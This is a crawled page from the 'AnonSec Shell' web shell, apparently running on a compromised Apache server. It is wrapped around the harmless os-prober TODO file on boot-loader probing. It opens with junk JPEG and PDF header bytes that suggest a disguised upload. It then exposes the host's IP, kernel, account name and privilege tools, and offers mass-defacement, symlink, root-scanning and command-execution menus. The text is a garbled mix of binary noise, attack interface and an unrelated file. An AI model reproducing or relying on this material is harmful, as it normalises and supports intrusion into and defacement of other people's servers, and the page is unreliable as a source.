ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/os-prober/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/share/doc/os-prober/TODO
This thing needs a regression test suite.

The grub linux-boot-probe has these limitations:

 - Does not handle grub present menus.
 - Does not support things like (hd0,1)/path/to/file
   although in the case of the kernel it will strip
   off the drive specification, and look for the file in the current
   partition.

The lilo linux-boot-probe has these limitations:

 - Doesn't map from devfs to normal if the lilo.conf uses devfs names
   (valid?)

linux-boot-prober:

- Partition names in boot loader config may have changed during
  the debian install, so cannot be trusted. Fix up root= lines,
  etc.
- To get to boot/, may need to parse fstab. But this can fail because
  as noted above, drive names may have changed!
- Maybe do some probing before partitioning and store info?
  Or don't support adding partitions before existing /boot partitions.

Anon7 - 2022
AnonSec Team